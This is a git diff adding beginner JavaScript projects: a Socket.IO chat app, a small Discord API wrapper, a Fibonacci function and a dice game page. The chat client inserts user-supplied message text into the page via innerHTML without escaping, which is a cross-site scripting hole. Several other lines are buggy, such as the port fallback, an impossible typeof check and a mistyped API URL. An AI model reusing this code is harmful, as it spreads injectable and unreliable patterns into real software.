+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "engine.io-parser": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-4.0.2.tgz", + "integrity": "sha512-sHfEQv6nmtJrq6TKuIz5kyEKH/qSdK56H/A+7DnAuUPWosnIZAS2NHNcPLmyjtY3cGS/MqJdZbUjW97JU72iYg==", + "requires": { + "base64-arraybuffer": "0.1.4" + } + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "requires": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + } + }, + "finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + } + }, + "forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.48.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.48.0.tgz", + "integrity": "sha512-FM3QwxV+TnZYQ2aRqhlKBMHxk10lTbMt3bBkMAp54ddrNeVSfcQYOOKuGuy3Ddrm38I04If834fOUSq1yzslJQ==" + }, + "mime-types": { + "version": "2.1.31", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.31.tgz", + "integrity": "sha512-XGZnNzm3QvgKxa8dpzyhFTHmpP3l5YNusmne07VUOXxou9CqUqYa/HBy124RqtVh/O2pECas/MOcsDgpilPOPg==", + "requires": { + "mime-db": "1.48.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "requires": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + } + }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "requires": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + } + } + }, + "serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + } + }, + "setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "socket.io": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.1.2.tgz", + "integrity": "sha512-xK0SD1C7hFrh9+bYoYCdVt+ncixkSLKtNLCax5aEy1o3r5PaO5yQhVb97exIe67cE7lAK+EpyMytXWTWmyZY8w==", + "requires": { + "@types/cookie": "^0.4.0", + "@types/cors": "^2.8.8", + "@types/node": ">=10.0.0", + "accepts": "~1.3.4", + "base64id": "~2.0.0", + "debug": "~4.3.1", + "engine.io": "~5.1.0", + "socket.io-adapter": "~2.3.0", + "socket.io-parser": "~4.0.3" + }, + "dependencies": { + "debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "socket.io-adapter": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.3.1.tgz", + "integrity": "sha512-8cVkRxI8Nt2wadkY6u60Y4rpW3ejA1rxgcK2JuyIhmF+RMNpTy1QRtkHIDUOf3B4HlQwakMsWbKftMv/71VMmw==" + }, + "socket.io-parser": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.0.4.tgz", + "integrity": "sha512-t+b0SS+IxG7Rxzda2EVvyBZbvFPBCjJoyHuE0P//7OAsN23GItzDRdWa6ALxZI/8R5ygK7jAR6t028/z+7295g==", + "requires": { + "@types/component-emitter": "^1.2.10", + "component-emitter": "~1.3.0", + "debug": "~4.3.1" + }, + "dependencies": { + "debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + } + } + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + }, + "toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "ws": { + "version": "7.4.6", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.6.tgz", + "integrity": "sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==" + } + } +} diff --git a/JS/Chat App/package.json b/JS/Chat App/package.json new file mode 100644 index 000000000..3dbcb341b --- /dev/null +++ b/JS/Chat App/package.json @@ -0,0 +1,15 @@ +{ + "name": "28_realtime_chat_app", + "version": "1.0.0", + "description": "Realtime Chat Application with node, express and websockets", + "main": "server.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "Sreyom Sresaan", + "license": "ISC", + "dependencies": { + "express": "^4.17.1", + "socket.io": "^4.1.2" + } +} diff --git a/JS/Chat App/public/chat.html b/JS/Chat App/public/chat.html new file mode 100644 index 000000000..f34c58844 --- /dev/null +++ b/JS/Chat App/public/chat.html @@ -0,0 +1,43 @@ + + + + + + + + ChatWiz App + + +
+
+

ChatWiz

+ +
+
+
+

Room Name:

+

+

Users

+
    +
    +
    +
    +
    +
    + + +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/JS/Chat App/public/css/style.css b/JS/Chat App/public/css/style.css new file mode 100644 index 000000000..3b8fb5d81 --- /dev/null +++ b/JS/Chat App/public/css/style.css @@ -0,0 +1,198 @@ +@import url('https://fonts.googleapis.com/css?family=Roboto&display=swap'); + +:root { + --dark-color-a: #1e852b; + --dark-color-b: #6ad381; + --light-color: #ffffff; + --success-color: #5cb85c; + --error-color: #d9534f; +} + +* { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +body { + font-family: 'Roboto', sans-serif; + font-size: 16px; + background: var(--light-color); + margin: 20px; +} + +ul { + list-style: none; +} + +a { + text-decoration: none; +} + +.btn { + cursor: pointer; + padding: 5px 15px; + background: var(--light-color); + color: var(--dark-color-a); + border: 0; + font-size: 17px; + border-radius: 1rem; +} + +/* Chat Page */ + +.chat-container { + max-width: 1200px; + background: #fff; + margin: 30px auto; + overflow: hidden; +} + +.chat-header { + background: var(--dark-color-a); + color: #fff; + border-top-left-radius: 25px; + border-top-right-radius: 25px; + padding: 15px; + display: flex; + align-items: center; + justify-content: space-between; +} + +.chat-main { + display: grid; + grid-template-columns: 1fr 3fr; +} + +.chat-sidebar { + background: var(--dark-color-b); + color: #fff; + padding: 20px 20px 60px; + overflow-y: scroll; +} + +.chat-sidebar h2 { + font-size: 20px; + background: rgba(0, 0, 0, 0.1); + padding: 10px; + margin-bottom: 20px; + border-radius: 15px; +} + +.chat-sidebar h3 { + margin-bottom: 15px; +} + +.chat-sidebar ul li { + padding: 10px 0; +} + +.chat-messages { + padding: 30px; + max-height: 500px; + overflow-y: scroll; +} + +.chat-messages .message { + padding: 10px; + margin-bottom: 15px; + background-color: var(--light-color); + border-radius: 5px; +} + +.chat-messages .message .meta { + font-size: 15px; + font-weight: bold; + color: var(--dark-color-b); + opacity: 0.7; + margin-bottom: 7px; +} + +.chat-messages .message .meta span { + color: #777; +} + +.chat-form-container { + padding: 20px 30px; + background-color: var(--dark-color-a); + border-bottom-left-radius: 25px; + border-bottom-right-radius: 25px; +} + +.chat-form-container form { + display: flex; +} + +.chat-form-container input[type='text'] { + font-size: 16px; + padding: 5px 16px; + height: 40px; + flex: 1; + border-radius: 1rem; + border: none; + margin: 0 0.5rem; +} + +/* Join Page */ +.join-container { + max-width: 700px; + margin: 80px auto; + color: #fff; +} + +.join-header { + text-align: center; + padding: 20px; + background: var(--dark-color-a); + border-top-left-radius: 25px; + border-top-right-radius: 25px; +} + +.join-main { + padding: 50px 40px; + background: var(--dark-color-b); + border-bottom-left-radius: 25px; + border-bottom-right-radius: 25px; +} + +.join-main p { + margin-bottom: 20px; +} + +.join-main .form-control { + margin-bottom: 20px; +} + +.join-main label { + display: block; + margin-bottom: 5px; +} + +.join-main input[type='text'] { + font-size: 16px; + padding: 5px; + height: 40px; + width: 100%; +} + +.join-main select { + font-size: 16px; + padding: 5px; + height: 40px; + width: 100%; +} + +.join-main .btn { + margin-top: 20px; + width: 100%; +} + +@media (max-width: 700px) { + .chat-main { + display: block; + } + + .chat-sidebar { + display: none; + } +} \ No newline at end of file diff --git a/JS/Chat App/public/index.html b/JS/Chat App/public/index.html new file mode 100644 index 000000000..3a76e5e56 --- /dev/null +++ b/JS/Chat App/public/index.html @@ -0,0 +1,44 @@ + + + + + + + + + ChatWiz App + + +
    +
    +

    ChatWiz

    +
    +
    +
    +
    + + +
    +
    + + +
    + +
    +
    +
    + + \ No newline at end of file diff --git a/JS/Chat App/public/js/main.js b/JS/Chat App/public/js/main.js new file mode 100644 index 000000000..ee986ab15 --- /dev/null +++ b/JS/Chat App/public/js/main.js @@ -0,0 +1,67 @@ +const chatForm = document.getElementById("chat-form"); +const chatMessages = document.querySelector(".chat-messages"); +const roomName = document.getElementById("room-name"); +const userList = document.getElementById("users"); + + +const { username, room } = Qs.parse(location.search, { + ignoreQueryPrefix: true +}); + +console.log(username, room); + +const socket = io(); + +//* Join chatroom +socket.emit("joinRoom", { username, room }); + +//* Get room and users +socket.on("roomUsers", ({room, users}) => { + outputRoomName(room); + outputUsers(users); +}) + +//* Message from server +socket.on("message", message=>{ + console.log(message); + outputMessage(message); + + //* Scroll Down + chatMessages.scrollTop = chatMessages.scrollHeight; +}); + +//* Message submit +chatForm.addEventListener('submit', e => { + e.preventDefault(); + + //* Get Message text + const msg = e.target.elements.msg.value; + + //* Emit message to server + socket.emit("chatMessage", msg); + + //* Clear input + e.target.elements.msg.value = ""; + e.target.elements.msg.focus(); +}); + +//* Output message to DOM +function outputMessage(message){ + const div = document.createElement("div"); + div.classList.add("message"); + div.innerHTML = `

    ${message.username} ${message.time}

    +

    + ${message.text} +

    ` + chatMessages.appendChild(div); +} + +//* Add room name to DOM +function outputRoomName(room){ + roomName.innerText = room; +} + +//* Add user to DOM +function outputUsers(users){ + userList.innerHTML = `${users.map(user => `
  • ${user.username}
  • `).join("")}`; +} \ No newline at end of file diff --git a/JS/Chat App/server.js b/JS/Chat App/server.js new file mode 100644 index 000000000..500e654ca --- /dev/null +++ b/JS/Chat App/server.js @@ -0,0 +1,66 @@ +const http = require("http"); +const express = require("express"); +const socketio = require("socket.io"); +const formatMessage = require("./utils/messages"); +const {userJoin, getCurrentUser, userLeave, getRoomUsers} = require("./utils/users"); + +const app = express(); +const server = http.createServer(app); +const io = socketio(server); + +const PORT = 80 || process.env.PORT; + +app.use(express.static("public")) + +const botName = "ChatWiz"; + +//* Run when client connects +io.on("connection", function(socket){ + + socket.on("joinRoom", function({username, room}){ + + const user = userJoin(socket.id, username, room); + + socket.join(user.room); + + //* Welcome current user + socket.emit("message", formatMessage(botName, "Welcome to ChatWiz!!!")); + + //* Broadcast when a user connects + socket.broadcast.to(user.room).emit("message", formatMessage(botName, `${user.username} just joined the chat`)); + + //* Send users and room info + io.to(user.room).emit("roomUsers", { + room: user.room, + users: getRoomUsers(user.room) + }); + + }); + + console.log("new WS connects....."); + + //* Listen to chat message + socket.on("chatMessage", (msg) => { + const user = getCurrentUser(socket.id); + io.to(user.room).emit("message", formatMessage(user.username, msg)); + }) + + //* Runs when a user disconnects + socket.on("disconnect", ()=>{ + const user = userLeave(socket.id); + if(user){ + io.to(user.room).emit("message", formatMessage(botName, `${user.username} left the chat`)); + + //* Send users and room info + io.to(user.room).emit("roomUsers", { + room: user.room, + users: getRoomUsers(user.room) + }); + } + }); + +}); + +server.listen(PORT, function(){ + console.log(`server is running on port ${PORT}`); +}); \ No newline at end of file diff --git a/JS/Chat App/utils/messages.js b/JS/Chat App/utils/messages.js new file mode 100644 index 000000000..711f2262c --- /dev/null +++ b/JS/Chat App/utils/messages.js @@ -0,0 +1,12 @@ +var today = new Date(); +var time = today.getHours() + ":" + today.getMinutes() ; + +function formatMessage(username, text){ + return { + username, + text, + time: time + } +} + +module.exports = formatMessage; diff --git a/JS/Chat App/utils/users.js b/JS/Chat App/utils/users.js new file mode 100644 index 000000000..d3abc8e7a --- /dev/null +++ b/JS/Chat App/utils/users.js @@ -0,0 +1,36 @@ +const users=[]; + +//* Join user to chat +function userJoin(id, username, room){ + const user = {id, username, room}; + + users.push(user); + + return user; +} + +//* Get current user +function getCurrentUser(id){ + return users.find(user => user.id === id); +} + +//* User leaves chat +function userLeave(id) { + const index = users.findIndex(user => user.id === id); + + if(index !== -1){ + return users.splice(index, 1)[0]; + } +} + +//* Get room users +function getRoomUsers(room){ + return users.filter(user => user.room === room); +} + +module.exports = { + userJoin, + getCurrentUser, + userLeave, + getRoomUsers +} \ No newline at end of file diff --git a/JS/Discord-Api-Package/Discord.js b/JS/Discord-Api-Package/Discord.js new file mode 100644 index 000000000..ae7d744dd --- /dev/null +++ b/JS/Discord-Api-Package/Discord.js @@ -0,0 +1,39 @@ +const fetch = require('node-fetch'); +const { EventEmitter } = require('events'); + +const BASE_URL = 'https://discord.com/apis' + +class Discord extends EventEmitter { + constructor(options){ + super(); + + let { token, version } = options; + + if(!token) throw new Error('token is missing or undefined'); + if(!version) version = 9; + + this.token = token; + this.version = version; + } + async getAuditLog(options) { + let { guild_id } = options; + if(!guild_id) throw new Error('guild_id is missing or undefined'); + if(typeof guild_id !== "integer") throw new Error('guild_id must be an integer'); + this.id = guild_id; + + const URL = `${BASE_URL}/${this.version}/guilds/${this.id}/audit-logs`; + const requestOptions = { + method: "GET", + headers:{ + "Content-Type": "application/json", + "Authorization": `Bot ${this.token}` + } + } + + fetch(URL, requestOptions) + .then(res => res.json()) + .then(json => { + console.log(json) + }) + } +} \ No newline at end of file diff --git a/JS/Discord-Api-Package/index.js b/JS/Discord-Api-Package/index.js new file mode 100644 index 000000000..88a550103 --- /dev/null +++ b/JS/Discord-Api-Package/index.js @@ -0,0 +1 @@ +module.exports.Client = require('./Discord') \ No newline at end of file diff --git a/JS/Discord-Api-Package/package-lock.json b/JS/Discord-Api-Package/package-lock.json new file mode 100644 index 000000000..56df8e69f --- /dev/null +++ b/JS/Discord-Api-Package/package-lock.json @@ -0,0 +1,30 @@ +{ + "name": "discord-api", + "version": "1.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "version": "1.0.0", + "license": "ISC", + "dependencies": { + "node-fetch": "^2.6.0" + } + }, + "node_modules/node-fetch": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", + "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==", + "engines": { + "node": "4.x || >=6.0.0" + } + } + }, + "dependencies": { + "node-fetch": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", + "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==" + } + } +} diff --git a/JS/Discord-Api-Package/package.json b/JS/Discord-Api-Package/package.json new file mode 100644 index 000000000..02803da5c --- /dev/null +++ b/JS/Discord-Api-Package/package.json @@ -0,0 +1,17 @@ +{ + "name": "test-discord-api", + "version": "1.0.0", + "description": "A Discord API Package that will ease the use of Discord API", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [ + "API" + ], + "author": "CrazyBotBoy", + "license": "ISC", + "dependencies": { + "node-fetch": "^2.6.0" + } +} diff --git a/JS/Fibonacci.js b/JS/Fibonacci.js new file mode 100644 index 000000000..aad2dcdfc --- /dev/null +++ b/JS/Fibonacci.js @@ -0,0 +1,10 @@ +//Code for Fibonacci series in JavaScript +const nthFibonacci = (n) => { + // set the base case(fib[0] = 0, fib[1] = 1) + let fib = [0, 1] + for (let i = 2; i <= n; i++) { + fib.push(fib[i - 1] + fib[i - 2]); + } + + return fib[n]; +} diff --git a/JS/Gamble Game/dice-1.png b/JS/Gamble Game/dice-1.png new file mode 100644 index 000000000..0d911ca11 Binary files /dev/null and b/JS/Gamble Game/dice-1.png differ diff --git a/JS/Gamble Game/dice-2.png b/JS/Gamble Game/dice-2.png new file mode 100644 index 000000000..f3c32af44 Binary files /dev/null and b/JS/Gamble Game/dice-2.png differ diff --git a/JS/Gamble Game/dice-3.png b/JS/Gamble Game/dice-3.png new file mode 100644 index 000000000..e3ef2b5c3 Binary files /dev/null and b/JS/Gamble Game/dice-3.png differ diff --git a/JS/Gamble Game/dice-4.png b/JS/Gamble Game/dice-4.png new file mode 100644 index 000000000..0c785f753 Binary files /dev/null and b/JS/Gamble Game/dice-4.png differ diff --git a/JS/Gamble Game/dice-5.png b/JS/Gamble Game/dice-5.png new file mode 100644 index 000000000..b4b41e343 Binary files /dev/null and b/JS/Gamble Game/dice-5.png differ diff --git a/JS/Gamble Game/dice-6.png b/JS/Gamble Game/dice-6.png new file mode 100644 index 000000000..6f4d9b389 Binary files /dev/null and b/JS/Gamble Game/dice-6.png differ diff --git a/JS/Gamble Game/index.html b/JS/Gamble Game/index.html new file mode 100644 index 000000000..d15935dd5 --- /dev/null +++ b/JS/Gamble Game/index.html @@ -0,0 +1,59 @@ + + + + + + + + + Pig Game + + + +
    +
    +

    Player 1

    +

    43

    +
    +

    Current

    +

    0

    +
    +
    +
    +

    Player 2

    +

    24

    +
    +

    Current

    +

    0

    +
    +
    + + + +
    + + + Playing dice + + + +
